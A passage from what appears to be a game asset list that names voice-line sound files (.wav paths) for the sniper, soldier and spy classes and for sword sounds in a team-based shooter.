+vo/sniper_cartmovingforwarddefense03.wav +vo/sniper_cartmovingforwarddefense04.wav +vo/sniper_cartmovingforwarddefense05.wav +vo/sniper_cartmovingforwarddefense06.wav +vo/sniper_cartmovingforwarddefensesoft01.wav +vo/sniper_cartmovingforwarddefensesoft02.wav +vo/sniper_cartmovingforwarddefensesoft03.wav +vo/sniper_cartmovingforwarddefensesoft04.wav +vo/sniper_cartmovingforwarddefensesoft05.wav +vo/sniper_cartmovingforwarddefensesoft06.wav +vo/sniper_cartmovingforwardoffense01.wav +vo/sniper_cartmovingforwardoffense02.wav +vo/sniper_cartmovingforwardoffense03.wav +vo/sniper_cartmovingforwardoffense04.wav +vo/sniper_cartmovingforwardoffense05.wav +vo/sniper_cartmovingforwardoffense06.wav +vo/sniper_cartmovingforwardoffense07.wav +vo/sniper_cartmovingforwardoffense08.wav +vo/sniper_cartmovingforwardoffense09.wav +vo/sniper_cartmovingforwardoffense10.wav +vo/sniper_cartmovingforwardoffensesoft01.wav +vo/sniper_cartmovingforwardoffensesoft02.wav +vo/sniper_cartmovingforwardoffensesoft03.wav +vo/sniper_cartmovingforwardoffensesoft04.wav +vo/sniper_cartmovingforwardoffensesoft05.wav +vo/sniper_cartmovingforwardoffensesoft06.wav +vo/sniper_cartmovingforwardoffensesoft07.wav +vo/sniper_cartmovingforwardoffensesoft08.wav +vo/sniper_cartmovingforwardoffensesoft09.wav +vo/sniper_cartmovingforwardoffensesoft10.wav +vo/sniper_cartstaycloseoffense01.wav +vo/sniper_cartstaycloseoffense02.wav +vo/sniper_cartstaycloseoffense03.wav +vo/sniper_cartstaycloseoffense04.wav +vo/sniper_cartstaycloseoffense05.wav +vo/sniper_cartstaycloseoffense06.wav +vo/sniper_cartstaycloseoffense07.wav +vo/sniper_cartstaycloseoffensesoft01.wav +vo/sniper_cartstaycloseoffensesoft02.wav +vo/sniper_cartstaycloseoffensesoft03.wav +vo/sniper_cartstaycloseoffensesoft04.wav +vo/sniper_cartstaycloseoffensesoft05.wav +vo/sniper_cartstaycloseoffensesoft06.wav +vo/sniper_cartstaycloseoffensesoft07.wav +vo/sniper_cartstopitdefense01.wav +vo/sniper_cartstopitdefense02.wav +vo/sniper_cartstopitdefense03.wav +vo/sniper_cartstopitdefense04.wav +vo/sniper_cartstopitdefense05.wav +vo/sniper_cartstopitdefense06.wav +vo/sniper_cartstopitdefensesoft01.wav +vo/sniper_cartstopitdefensesoft02.wav +vo/sniper_cartstopitdefensesoft03.wav +vo/sniper_cartstopitdefensesoft04.wav +vo/sniper_cartstopitdefensesoft06.wav +vo/sniper_cartstoppedoffense01.wav +vo/sniper_cartstoppedoffense02.wav +vo/sniper_cartstoppedoffense03.wav +vo/sniper_cartstoppedoffense04.wav +vo/sniper_cartstoppedoffense05.wav +vo/sniper_cartstoppedoffensesoft01.wav +vo/sniper_cartstoppedoffensesoft02.wav +vo/sniper_cartstoppedoffensesoft03.wav +vo/sniper_cartstoppedoffensesoft04.wav +vo/sniper_cartstoppedoffensesoft05.wav +vo/sniper_cheers01.wav +vo/sniper_cheers02.wav +vo/sniper_cheers03.wav +vo/sniper_cheers04.wav +vo/sniper_cheers05.wav +vo/sniper_cheers06.wav +vo/sniper_cheers07.wav +vo/sniper_cheers08.wav +vo/sniper_cloakedspy01.wav +vo/sniper_cloakedspy02.wav +vo/sniper_cloakedspy03.wav +vo/sniper_cloakedspyidentify01.wav +vo/sniper_cloakedspyidentify02.wav +vo/sniper_cloakedspyidentify03.wav +vo/sniper_cloakedspyidentify04.wav +vo/sniper_cloakedspyidentify05.wav +vo/sniper_cloakedspyidentify06.wav +vo/sniper_cloakedspyidentify07.wav +vo/sniper_cloakedspyidentify08.wav +vo/sniper_cloakedspyidentify09.wav +vo/sniper_domination01.wav +vo/sniper_domination02.wav +vo/sniper_domination03.wav +vo/sniper_domination04.wav +vo/sniper_domination05.wav +vo/sniper_domination06.wav +vo/sniper_domination07.wav +vo/sniper_domination08.wav +vo/sniper_domination09.wav +vo/sniper_domination10.wav +vo/sniper_domination11.wav +vo/sniper_domination12.wav +vo/sniper_domination13.wav +vo/sniper_domination14.wav +vo/sniper_domination15.wav +vo/sniper_domination16.wav +vo/sniper_domination17.wav +vo/sniper_domination18.wav +vo/sniper_domination19.wav +vo/sniper_domination20.wav +vo/sniper_domination21.wav +vo/sniper_domination22.wav +vo/sniper_domination23.wav +vo/sniper_domination24.wav +vo/sniper_domination25.wav +vo/sniper_DominationDemoMan01.wav +vo/sniper_DominationDemoMan02.wav +vo/sniper_DominationDemoMan03.wav +vo/sniper_DominationDemoMan04.wav +vo/sniper_DominationDemoMan05.wav +vo/sniper_DominationEngineer01.wav +vo/sniper_DominationEngineer02.wav +vo/sniper_DominationEngineer03.wav +vo/sniper_DominationEngineer04.wav +vo/sniper_DominationEngineer05.wav +vo/sniper_DominationEngineer06.wav +vo/sniper_DominationHeavy01.wav +vo/sniper_DominationHeavy02.wav +vo/sniper_DominationHeavy03.wav +vo/sniper_DominationHeavy04.wav +vo/sniper_DominationHeavy05.wav +vo/sniper_DominationHeavy06.wav +vo/sniper_DominationHeavy07.wav +vo/sniper_DominationMedic01.wav +vo/sniper_DominationMedic02.wav +vo/sniper_DominationMedic03.wav +vo/sniper_DominationMedic04.wav +vo/sniper_DominationMedic05.wav +vo/sniper_DominationPyro01.wav +vo/sniper_DominationPyro02.wav +vo/sniper_DominationPyro03.wav +vo/sniper_DominationPyro04.wav +vo/sniper_DominationPyro05.wav +vo/sniper_DominationScout01.wav +vo/sniper_DominationScout02.wav +vo/sniper_DominationScout03.wav +vo/sniper_DominationScout04.wav +vo/sniper_DominationScout05.wav +vo/sniper_DominationSniper18.wav +vo/sniper_DominationSniper19.wav +vo/sniper_DominationSniper20.wav +vo/sniper_DominationSniper21.wav +vo/sniper_DominationSniper22.wav +vo/sniper_DominationSoldier01.wav +vo/sniper_DominationSoldier02.wav +vo/sniper_DominationSoldier03.wav +vo/sniper_DominationSoldier04.wav +vo/sniper_DominationSoldier05.wav +vo/sniper_DominationSoldier06.wav +vo/sniper_DominationSpy01.wav +vo/sniper_DominationSpy02.wav +vo/sniper_DominationSpy03.wav +vo/sniper_DominationSpy04.wav +vo/sniper_DominationSpy05.wav +vo/sniper_DominationSpy06.wav +vo/sniper_DominationSpy07.wav +vo/sniper_fightoncap01.wav +vo/sniper_fightoncap02.wav +vo/sniper_fightoncap03.wav +vo/sniper_fightoncap04.wav +vo/sniper_fightoncap05.wav +vo/sniper_fightoncap06.wav +vo/sniper_go01.wav +vo/sniper_go02.wav +vo/sniper_go03.wav +vo/sniper_goodjob01.wav +vo/sniper_goodjob02.wav +vo/sniper_goodjob03.wav +vo/sniper_headleft01.wav +vo/sniper_headleft02.wav +vo/sniper_headleft03.wav +vo/sniper_headright01.wav +vo/sniper_headright02.wav +vo/sniper_headright03.wav +vo/sniper_helpme01.wav +vo/sniper_helpme02.wav +vo/sniper_helpme03.wav +vo/sniper_helpmecapture01.wav +vo/sniper_helpmecapture02.wav +vo/sniper_helpmecapture03.wav +vo/sniper_helpmedefend01.wav +vo/sniper_helpmedefend02.wav +vo/sniper_helpmedefend03.wav +vo/sniper_incoming01.wav +vo/sniper_incoming02.wav +vo/sniper_incoming03.wav +vo/sniper_incoming04.wav +vo/sniper_JarateToss01.wav +vo/sniper_JarateToss02.wav +vo/sniper_JarateToss03.wav +vo/sniper_jeers01.wav +vo/sniper_jeers02.wav +vo/sniper_jeers03.wav +vo/sniper_jeers04.wav +vo/sniper_jeers05.wav +vo/sniper_jeers06.wav +vo/sniper_jeers07.wav +vo/sniper_jeers08.wav +vo/sniper_laughevil01.wav +vo/sniper_laughevil02.wav +vo/sniper_laughevil03.wav +vo/sniper_laughhappy01.wav +vo/sniper_laughhappy02.wav +vo/sniper_laughlong01.wav +vo/sniper_laughlong02.wav +vo/sniper_laughshort01.wav +vo/sniper_laughshort02.wav +vo/sniper_laughshort03.wav +vo/sniper_laughshort04.wav +vo/sniper_laughshort05.wav +vo/sniper_medic01.wav +vo/sniper_medic02.wav +vo/sniper_medicfollow01.wav +vo/sniper_medicfollow02.wav +vo/sniper_medicfollow03.wav +vo/sniper_medicfollow04.wav +vo/sniper_medicfollow05.wav +vo/sniper_meleedare01.wav +vo/sniper_meleedare02.wav +vo/sniper_meleedare03.wav +vo/sniper_meleedare04.wav +vo/sniper_meleedare05.wav +vo/sniper_meleedare06.wav +vo/sniper_meleedare07.wav +vo/sniper_meleedare08.wav +vo/sniper_meleedare09.wav +vo/sniper_moveup01.wav +vo/sniper_moveup02.wav +vo/sniper_needdispenser01.wav +vo/sniper_needsentry01.wav +vo/sniper_needteleporter01.wav +vo/sniper_negativevocalization01.wav +vo/sniper_negativevocalization02.wav +vo/sniper_negativevocalization03.wav +vo/sniper_negativevocalization04.wav +vo/sniper_negativevocalization05.wav +vo/sniper_negativevocalization06.wav +vo/sniper_negativevocalization07.wav +vo/sniper_negativevocalization08.wav +vo/sniper_negativevocalization09.wav +vo/sniper_niceshot01.wav +vo/sniper_niceshot02.wav +vo/sniper_niceshot03.wav +vo/sniper_no01.wav +vo/sniper_no02.wav +vo/sniper_no03.wav +vo/sniper_no04.wav +vo/sniper_paincrticialdeath01.wav +vo/sniper_paincrticialdeath02.wav +vo/sniper_paincrticialdeath03.wav +vo/sniper_paincrticialdeath04.wav +vo/sniper_painsevere01.wav +vo/sniper_painsevere02.wav +vo/sniper_painsevere03.wav +vo/sniper_painsevere04.wav +vo/sniper_painsharp01.wav +vo/sniper_painsharp02.wav +vo/sniper_painsharp03.wav +vo/sniper_painsharp04.wav +vo/sniper_positivevocalization01.wav +vo/sniper_positivevocalization02.wav +vo/sniper_positivevocalization03.wav +vo/sniper_positivevocalization04.wav +vo/sniper_positivevocalization05.wav +vo/sniper_positivevocalization06.wav +vo/sniper_positivevocalization07.wav +vo/sniper_positivevocalization08.wav +vo/sniper_positivevocalization09.wav +vo/sniper_positivevocalization10.wav +vo/sniper_revenge01.wav +vo/sniper_revenge02.wav +vo/sniper_revenge03.wav +vo/sniper_revenge04.wav +vo/sniper_revenge05.wav +vo/sniper_revenge06.wav +vo/sniper_revenge07.wav +vo/sniper_revenge08.wav +vo/sniper_revenge09.wav +vo/sniper_revenge10.wav +vo/sniper_revenge11.wav +vo/sniper_revenge12.wav +vo/sniper_revenge13.wav +vo/sniper_revenge14.wav +vo/sniper_revenge15.wav +vo/sniper_revenge16.wav +vo/sniper_revenge17.wav +vo/sniper_revenge18.wav +vo/sniper_revenge19.wav +vo/sniper_revenge20.wav +vo/sniper_revenge21.wav +vo/sniper_revenge22.wav +vo/sniper_revenge23.wav +vo/sniper_revenge24.wav +vo/sniper_revenge25.wav +vo/sniper_sentryahead01.wav +vo/sniper_specialcompleted-assistedkill01.wav +vo/sniper_specialcompleted-assistedkill02.wav +vo/sniper_specialcompleted01.wav +vo/sniper_specialcompleted02.wav +vo/sniper_specialcompleted03.wav +vo/sniper_specialcompleted04.wav +vo/sniper_specialcompleted05.wav +vo/sniper_specialcompleted06.wav +vo/sniper_specialcompleted07.wav +vo/sniper_specialcompleted08.wav +vo/sniper_specialcompleted09.wav +vo/sniper_specialcompleted10.wav +vo/sniper_specialcompleted11.wav +vo/sniper_specialcompleted12.wav +vo/sniper_specialcompleted13.wav +vo/sniper_specialcompleted14.wav +vo/sniper_specialcompleted15.wav +vo/sniper_specialcompleted16.wav +vo/sniper_specialcompleted17.wav +vo/sniper_specialcompleted18.wav +vo/sniper_specialcompleted19.wav +vo/sniper_specialcompleted20.wav +vo/sniper_specialcompleted21.wav +vo/sniper_specialcompleted22.wav +vo/sniper_specialcompleted23.wav +vo/sniper_specialcompleted24.wav +vo/sniper_specialcompleted25.wav +vo/sniper_specialcompleted26.wav +vo/sniper_specialcompleted27.wav +vo/sniper_specialcompleted28.wav +vo/sniper_specialcompleted29.wav +vo/sniper_specialcompleted30.wav +vo/sniper_specialcompleted31.wav +vo/sniper_specialcompleted32.wav +vo/sniper_specialcompleted33.wav +vo/sniper_specialcompleted34.wav +vo/sniper_specialcompleted35.wav +vo/sniper_specialcompleted36.wav +vo/sniper_specialcompleted37.wav +vo/sniper_specialcompleted38.wav +vo/sniper_specialcompleted39.wav +vo/sniper_specialcompleted40.wav +vo/sniper_specialcompleted41.wav +vo/sniper_specialcompleted42.wav +vo/sniper_specialcompleted43.wav +vo/sniper_specialcompleted44.wav +vo/sniper_specialcompleted45.wav +vo/sniper_specialcompleted46.wav +vo/sniper_specialweapon01.wav +vo/sniper_specialweapon02.wav +vo/sniper_specialweapon03.wav +vo/sniper_specialweapon04.wav +vo/sniper_specialweapon05.wav +vo/sniper_specialweapon06.wav +vo/sniper_specialweapon07.wav +vo/sniper_specialweapon08.wav +vo/sniper_specialweapon09.wav +vo/sniper_standonthepoint01.wav +vo/sniper_standonthepoint02.wav +vo/sniper_thanks01.wav +vo/sniper_thanks02.wav +vo/sniper_thanksfortheheal01.wav +vo/sniper_thanksfortheheal02.wav +vo/sniper_thanksfortheheal03.wav +vo/sniper_thanksfortheteleporter01.wav +vo/sniper_thanksfortheteleporter02.wav +vo/sniper_thanksfortheteleporter03.wav +vo/sniper_yes01.wav +vo/sniper_yes02.wav +vo/sniper_yes03.wav +vo/soldier_activatecharge01.wav +vo/soldier_activatecharge02.wav +vo/soldier_activatecharge03.wav +vo/soldier_autocappedcontrolpoint01.wav +vo/soldier_autocappedcontrolpoint02.wav +vo/soldier_autocappedcontrolpoint03.wav +vo/soldier_autocappedintelligence01.wav +vo/soldier_autocappedintelligence02.wav +vo/soldier_autocappedintelligence03.wav +vo/soldier_autodejectedtie01.wav +vo/soldier_autodejectedtie02.wav +vo/soldier_autodejectedtie03.wav +vo/soldier_autoonfire01.wav +vo/soldier_autoonfire02.wav +vo/soldier_autoonfire03.wav +vo/soldier_battlecry01.wav +vo/soldier_battlecry02.wav +vo/soldier_battlecry03.wav +vo/soldier_battlecry04.wav +vo/soldier_battlecry05.wav +vo/soldier_battlecry06.wav +vo/soldier_cheers01.wav +vo/soldier_cheers02.wav +vo/soldier_cheers03.wav +vo/soldier_cheers04.wav +vo/soldier_cheers05.wav +vo/soldier_cheers06.wav +vo/soldier_cloakedspy01.wav +vo/soldier_cloakedspy02.wav +vo/soldier_cloakedspy03.wav +vo/soldier_cloakedspyidentify01.wav +vo/soldier_cloakedspyidentify02.wav +vo/soldier_cloakedspyidentify03.wav +vo/soldier_cloakedspyidentify04.wav +vo/soldier_cloakedspyidentify05.wav +vo/soldier_cloakedspyidentify06.wav +vo/soldier_cloakedspyidentify07.wav +vo/soldier_cloakedspyidentify08.wav +vo/soldier_cloakedspyidentify09.wav +vo/soldier_DirectHitTaunt01.wav +vo/soldier_DirectHitTaunt02.wav +vo/soldier_DirectHitTaunt03.wav +vo/soldier_DirectHitTaunt04.wav +vo/soldier_DominationDemoman01.wav +vo/soldier_DominationDemoman02.wav +vo/soldier_DominationDemoman03.wav +vo/soldier_DominationDemoman04.wav +vo/soldier_DominationDemoman05.wav +vo/soldier_DominationDemoman06.wav +vo/soldier_DominationEngineer01.wav +vo/soldier_DominationEngineer02.wav +vo/soldier_DominationEngineer03.wav +vo/soldier_DominationEngineer04.wav +vo/soldier_DominationEngineer05.wav +vo/soldier_DominationEngineer06.wav +vo/soldier_DominationHeavy01.wav +vo/soldier_DominationHeavy02.wav +vo/soldier_DominationHeavy03.wav +vo/soldier_DominationHeavy04.wav +vo/soldier_DominationHeavy05.wav +vo/soldier_DominationHeavy06.wav +vo/soldier_DominationHeavy07.wav +vo/soldier_DominationMedic01.wav +vo/soldier_DominationMedic02.wav +vo/soldier_DominationMedic03.wav +vo/soldier_DominationMedic04.wav +vo/soldier_DominationMedic05.wav +vo/soldier_DominationMedic06.wav +vo/soldier_DominationMedic07.wav +vo/soldier_DominationPyro01.wav +vo/soldier_DominationPyro02.wav +vo/soldier_DominationPyro03.wav +vo/soldier_DominationPyro04.wav +vo/soldier_DominationPyro05.wav +vo/soldier_DominationPyro06.wav +vo/soldier_DominationPyro07.wav +vo/soldier_DominationPyro08.wav +vo/soldier_DominationPyro09.wav +vo/soldier_DominationScout01.wav +vo/soldier_DominationScout02.wav +vo/soldier_DominationScout03.wav +vo/soldier_DominationScout04.wav +vo/soldier_DominationScout05.wav +vo/soldier_DominationScout06.wav +vo/soldier_DominationScout07.wav +vo/soldier_DominationScout08.wav +vo/soldier_DominationScout09.wav +vo/soldier_DominationScout10.wav +vo/soldier_DominationScout11.wav +vo/soldier_DominationSniper01.wav +vo/soldier_DominationSniper02.wav +vo/soldier_DominationSniper03.wav +vo/soldier_DominationSniper04.wav +vo/soldier_DominationSniper05.wav +vo/soldier_DominationSniper06.wav +vo/soldier_DominationSniper07.wav +vo/soldier_DominationSniper08.wav +vo/soldier_DominationSniper09.wav +vo/soldier_DominationSniper10.wav +vo/soldier_DominationSniper11.wav +vo/soldier_DominationSniper12.wav +vo/soldier_DominationSniper13.wav +vo/soldier_DominationSniper14.wav +vo/soldier_DominationSoldier01.wav +vo/soldier_DominationSoldier02.wav +vo/soldier_DominationSoldier03.wav +vo/soldier_DominationSoldier04.wav +vo/soldier_DominationSoldier05.wav +vo/soldier_DominationSoldier06.wav +vo/soldier_DominationSpy01.wav +vo/soldier_DominationSpy02.wav +vo/soldier_DominationSpy03.wav +vo/soldier_DominationSpy04.wav +vo/soldier_DominationSpy05.wav +vo/soldier_DominationSpy06.wav +vo/soldier_DominationSpy07.wav +vo/soldier_DominationSpy08.wav +vo/soldier_go01.wav +vo/soldier_go02.wav +vo/soldier_go03.wav +vo/soldier_goodjob01.wav +vo/soldier_goodjob02.wav +vo/soldier_goodjob03.wav +vo/soldier_HatOverHeartTaunt01.wav +vo/soldier_HatOverHeartTaunt02.wav +vo/soldier_HatOverHeartTaunt03.wav +vo/soldier_HatOverHeartTaunt04.wav +vo/soldier_HatOverHeartTaunt05.wav +vo/soldier_HatOverHeartTaunt06.wav +vo/soldier_headleft01.wav +vo/soldier_headleft02.wav +vo/soldier_headleft03.wav +vo/soldier_headright01.wav +vo/soldier_headright02.wav +vo/soldier_headright03.wav +vo/soldier_helpme01.wav +vo/soldier_helpme02.wav +vo/soldier_helpme03.wav +vo/soldier_helpmecapture01.wav +vo/soldier_helpmecapture02.wav +vo/soldier_helpmecapture03.wav +vo/soldier_helpmedefend01.wav +vo/soldier_helpmedefend02.wav +vo/soldier_helpmedefend03.wav +vo/soldier_helpmedefend04.wav +vo/soldier_incoming01.wav +vo/soldier_jeers01.wav +vo/soldier_jeers02.wav +vo/soldier_jeers03.wav +vo/soldier_jeers04.wav +vo/soldier_jeers05.wav +vo/soldier_jeers06.wav +vo/soldier_jeers07.wav +vo/soldier_jeers08.wav +vo/soldier_jeers09.wav +vo/soldier_jeers10.wav +vo/soldier_jeers11.wav +vo/soldier_jeers12.wav +vo/soldier_KaBoomAlts01.wav +vo/soldier_KaBoomAlts02.wav +vo/soldier_KaBoomAlts03.wav +vo/soldier_laughevil01.wav +vo/soldier_laughevil02.wav +vo/soldier_laughevil03.wav +vo/soldier_laughhappy01.wav +vo/soldier_laughhappy02.wav +vo/soldier_laughhappy03.wav +vo/soldier_laughlong01.wav +vo/soldier_laughlong02.wav +vo/soldier_laughlong03.wav +vo/soldier_laughshort01.wav +vo/soldier_laughshort02.wav +vo/soldier_laughshort03.wav +vo/soldier_laughshort04.wav +vo/soldier_medic01.wav +vo/soldier_medic02.wav +vo/soldier_medic03.wav +vo/soldier_moveup01.wav +vo/soldier_moveup02.wav +vo/soldier_moveup03.wav +vo/soldier_needdispenser01.wav +vo/soldier_needsentry01.wav +vo/soldier_needteleporter01.wav +vo/soldier_negativevocalization01.wav +vo/soldier_negativevocalization02.wav +vo/soldier_negativevocalization03.wav +vo/soldier_negativevocalization04.wav +vo/soldier_negativevocalization05.wav +vo/soldier_negativevocalization06.wav +vo/soldier_niceshot01.wav +vo/soldier_niceshot02.wav +vo/soldier_niceshot03.wav +vo/soldier_no01.wav +vo/soldier_no02.wav +vo/soldier_no03.wav +vo/soldier_paincrticialdeath01.wav +vo/soldier_paincrticialdeath02.wav +vo/soldier_paincrticialdeath03.wav +vo/soldier_paincrticialdeath04.wav +vo/soldier_painsevere01.wav +vo/soldier_painsevere02.wav +vo/soldier_painsevere03.wav +vo/soldier_painsevere04.wav +vo/soldier_painsevere05.wav +vo/soldier_painsevere06.wav +vo/soldier_painsharp01.wav +vo/soldier_painsharp02.wav +vo/soldier_painsharp03.wav +vo/soldier_painsharp04.wav +vo/soldier_painsharp05.wav +vo/soldier_painsharp06.wav +vo/soldier_painsharp07.wav +vo/soldier_painsharp08.wav +vo/soldier_PickAxeTaunt01.wav +vo/soldier_PickAxeTaunt02.wav +vo/soldier_PickAxeTaunt03.wav +vo/soldier_PickAxeTaunt04.wav +vo/soldier_PickAxeTaunt05.wav +vo/soldier_positivevocalization01.wav +vo/soldier_positivevocalization02.wav +vo/soldier_positivevocalization03.wav +vo/soldier_positivevocalization04.wav +vo/soldier_positivevocalization05.wav +vo/soldier_sentryahead01.wav +vo/soldier_sentryahead02.wav +vo/soldier_sentryahead03.wav +vo/soldier_specialcompleted-assistedkill01.wav +vo/soldier_specialcompleted01.wav +vo/soldier_specialcompleted02.wav +vo/soldier_specialcompleted03.wav +vo/soldier_specialcompleted04.wav +vo/soldier_specialcompleted05.wav +vo/soldier_standonthepoint01.wav +vo/soldier_standonthepoint02.wav +vo/soldier_standonthepoint03.wav +vo/soldier_thanks01.wav +vo/soldier_thanks02.wav +vo/soldier_thanksfortheheal01.wav +vo/soldier_thanksfortheheal02.wav +vo/soldier_thanksfortheheal03.wav +vo/soldier_thanksfortheteleporter01.wav +vo/soldier_thanksfortheteleporter02.wav +vo/soldier_thanksfortheteleporter03.wav +vo/soldier_yes01.wav +vo/soldier_yes02.wav +vo/soldier_yes03.wav +vo/soldier_yes04.wav +vo/spy_activatecharge01.wav +vo/spy_activatecharge02.wav +vo/spy_activatecharge03.wav +vo/spy_autocappedcontrolpoint01.wav +vo/spy_autocappedcontrolpoint02.wav +vo/spy_autocappedcontrolpoint03.wav +vo/spy_autocappedintelligence01.wav +vo/spy_autocappedintelligence02.wav +vo/spy_autocappedintelligence03.wav +vo/spy_autodejectedtie01.wav +vo/spy_autodejectedtie02.wav +vo/spy_autodejectedtie03.wav +vo/spy_autoonfire01.wav +vo/spy_autoonfire02.wav +vo/spy_autoonfire03.wav +vo/spy_battlecry01.wav +vo/spy_battlecry02.wav +vo/spy_battlecry03.wav +vo/spy_battlecry04.wav +vo/spy_cheers01.wav +vo/spy_cheers02.wav +vo/spy_cheers03.wav +vo/spy_cheers04.wav +vo/spy_cheers05.wav +vo/spy_cheers06.wav +vo/spy_cheers07.wav +vo/spy_cheers08.wav +vo/spy_cloakedspy01.wav +vo/spy_cloakedspy02.wav +vo/spy_cloakedspy03.wav +vo/spy_cloakedspy04.wav +vo/spy_cloakedspyidentify01.wav +vo/spy_cloakedspyidentify02.wav +vo/spy_cloakedspyidentify03.wav +vo/spy_cloakedspyidentify04.wav +vo/spy_cloakedspyidentify05.wav +vo/spy_cloakedspyidentify06.wav +vo/spy_cloakedspyidentify07.wav +vo/spy_cloakedspyidentify08.wav +vo/spy_cloakedspyidentify09.wav +vo/spy_cloakedspyidentify10.wav +vo/spy_DominationDemoMan01.wav +vo/spy_DominationDemoMan02.wav +vo/spy_DominationDemoMan03.wav +vo/spy_DominationDemoMan04.wav +vo/spy_DominationDemoMan05.wav +vo/spy_DominationDemoMan06.wav +vo/spy_DominationDemoMan07.wav +vo/spy_DominationEngineer01.wav +vo/spy_DominationEngineer02.wav +vo/spy_DominationEngineer03.wav +vo/spy_DominationEngineer04.wav +vo/spy_DominationEngineer05.wav +vo/spy_DominationEngineer06.wav +vo/spy_DominationHeavy01.wav +vo/spy_DominationHeavy02.wav +vo/spy_DominationHeavy03.wav +vo/spy_DominationHeavy04.wav +vo/spy_DominationHeavy05.wav +vo/spy_DominationHeavy06.wav +vo/spy_DominationHeavy07.wav +vo/spy_DominationHeavy08.wav +vo/spy_DominationMedic01.wav +vo/spy_DominationMedic02.wav +vo/spy_DominationMedic03.wav +vo/spy_DominationMedic04.wav +vo/spy_DominationMedic05.wav +vo/spy_DominationMedic06.wav +vo/spy_DominationPyro01.wav +vo/spy_DominationPyro02.wav +vo/spy_DominationPyro03.wav +vo/spy_DominationPyro04.wav +vo/spy_DominationPyro05.wav +vo/spy_DominationScout01.wav +vo/spy_DominationScout02.wav +vo/spy_DominationScout03.wav +vo/spy_DominationScout04.wav +vo/spy_DominationScout05.wav +vo/spy_DominationScout06.wav +vo/spy_DominationScout07.wav +vo/spy_DominationScout08.wav +vo/spy_DominationSniper01.wav +vo/spy_DominationSniper02.wav +vo/spy_DominationSniper03.wav +vo/spy_DominationSniper04.wav +vo/spy_DominationSniper05.wav +vo/spy_DominationSniper06.wav +vo/spy_DominationSniper07.wav +vo/spy_DominationSoldier01.wav +vo/spy_DominationSoldier02.wav +vo/spy_DominationSoldier03.wav +vo/spy_DominationSoldier04.wav +vo/spy_DominationSoldier05.wav +vo/spy_DominationSpy01.wav +vo/spy_DominationSpy02.wav +vo/spy_DominationSpy03.wav +vo/spy_DominationSpy04.wav +vo/spy_DominationSpy05.wav +vo/spy_go01.wav +vo/spy_go02.wav +vo/spy_go03.wav +vo/spy_goodjob01.wav +vo/spy_goodjob02.wav +vo/spy_goodjob03.wav +vo/spy_headleft01.wav +vo/spy_headleft02.wav +vo/spy_headleft03.wav +vo/spy_headright01.wav +vo/spy_headright02.wav +vo/spy_headright03.wav +vo/spy_helpme01.wav +vo/spy_helpme02.wav +vo/spy_helpme03.wav +vo/spy_helpmecapture01.wav +vo/spy_helpmecapture02.wav +vo/spy_helpmecapture03.wav +vo/spy_helpmedefend01.wav +vo/spy_helpmedefend02.wav +vo/spy_helpmedefend03.wav +vo/spy_incoming01.wav +vo/spy_incoming02.wav +vo/spy_incoming03.wav +vo/spy_JarateHit01.wav +vo/spy_JarateHit02.wav +vo/spy_JarateHit03.wav +vo/spy_JarateHit04.wav +vo/spy_JarateHit05.wav +vo/spy_JarateHit06.wav +vo/spy_jeers01.wav +vo/spy_jeers02.wav +vo/spy_jeers03.wav +vo/spy_jeers04.wav +vo/spy_jeers05.wav +vo/spy_jeers06.wav +vo/spy_laughevil01.wav +vo/spy_laughevil02.wav +vo/spy_laughhappy01.wav +vo/spy_laughhappy02.wav +vo/spy_laughhappy03.wav +vo/spy_laughlong01.wav +vo/spy_laughshort01.wav +vo/spy_laughshort02.wav +vo/spy_laughshort03.wav +vo/spy_laughshort04.wav +vo/spy_laughshort05.wav +vo/spy_laughshort06.wav +vo/spy_medic01.wav +vo/spy_medic02.wav +vo/spy_medic03.wav +vo/spy_MedicFollow01.wav +vo/spy_MedicFollow02.wav +vo/spy_MeleeDare01.wav +vo/spy_MeleeDare02.wav +vo/spy_moveup01.wav +vo/spy_moveup02.wav +vo/spy_needdispenser01.wav +vo/spy_needsentry01.wav +vo/spy_needteleporter01.wav +vo/spy_negativevocalization01.wav +vo/spy_negativevocalization02.wav +vo/spy_negativevocalization03.wav +vo/spy_negativevocalization04.wav +vo/spy_negativevocalization05.wav +vo/spy_negativevocalization06.wav +vo/spy_negativevocalization07.wav +vo/spy_negativevocalization08.wav +vo/spy_negativevocalization09.wav +vo/spy_niceshot01.wav +vo/spy_niceshot02.wav +vo/spy_niceshot03.wav +vo/spy_no01.wav +vo/spy_no02.wav +vo/spy_no03.wav +vo/spy_paincrticialdeath01.wav +vo/spy_paincrticialdeath02.wav +vo/spy_paincrticialdeath03.wav +vo/spy_painsevere01.wav +vo/spy_painsevere02.wav +vo/spy_painsevere03.wav +vo/spy_painsevere04.wav +vo/spy_painsevere05.wav +vo/spy_painsharp01.wav +vo/spy_painsharp02.wav +vo/spy_painsharp03.wav +vo/spy_painsharp04.wav +vo/spy_positivevocalization01.wav +vo/spy_positivevocalization02.wav +vo/spy_positivevocalization03.wav +vo/spy_positivevocalization04.wav +vo/spy_positivevocalization05.wav +vo/spy_Revenge01.wav +vo/spy_Revenge02.wav +vo/spy_Revenge03.wav +vo/spy_sentryahead01.wav +vo/spy_sentryahead02.wav +vo/spy_specialcompleted-assistedkill01.wav +vo/spy_specialcompleted-assistedkill02.wav +vo/spy_specialcompleted01.wav +vo/spy_specialcompleted02.wav +vo/spy_specialcompleted03.wav +vo/spy_specialcompleted04.wav +vo/spy_specialcompleted05.wav +vo/spy_specialcompleted06.wav +vo/spy_specialcompleted07.wav +vo/spy_specialcompleted08.wav +vo/spy_specialcompleted09.wav +vo/spy_specialcompleted10.wav +vo/spy_specialcompleted11.wav +vo/spy_specialcompleted12.wav +vo/spy_standonthepoint01.wav +vo/spy_standonthepoint02.wav +vo/spy_standonthepoint03.wav +vo/spy_standonthepoint04.wav +vo/spy_thanks01.wav +vo/spy_thanks02.wav +vo/spy_thanks03.wav +vo/spy_thanksfortheheal01.wav +vo/spy_thanksfortheheal02.wav +vo/spy_thanksfortheheal03.wav +vo/spy_thanksfortheteleporter01.wav +vo/spy_thanksfortheteleporter02.wav +vo/spy_thanksfortheteleporter03.wav +vo/spy_yes01.wav +vo/spy_yes02.wav +vo/spy_yes03.wav +vo/sword_hit01.wav +vo/sword_hit02.wav +vo/sword_hit03.wav +vo/sword_hit04.wav +vo/sword_hit05.wav +vo/sword_hit06.wav +vo/sword_hit07.wav +vo/sword_hit08.wav +vo/sword_hit09.wav +vo/sword_hit10.wav +vo/sword_idle01.wav +vo/sword_idle02.wav +vo/sword_idle03.wav +vo/sword_idle04.wav +vo/sword_idle05.wav +vo/sword_idle06.wav +vo/sword_idle07.wav +vo/sword_idle08.wav +vo/sword_idle09.wav 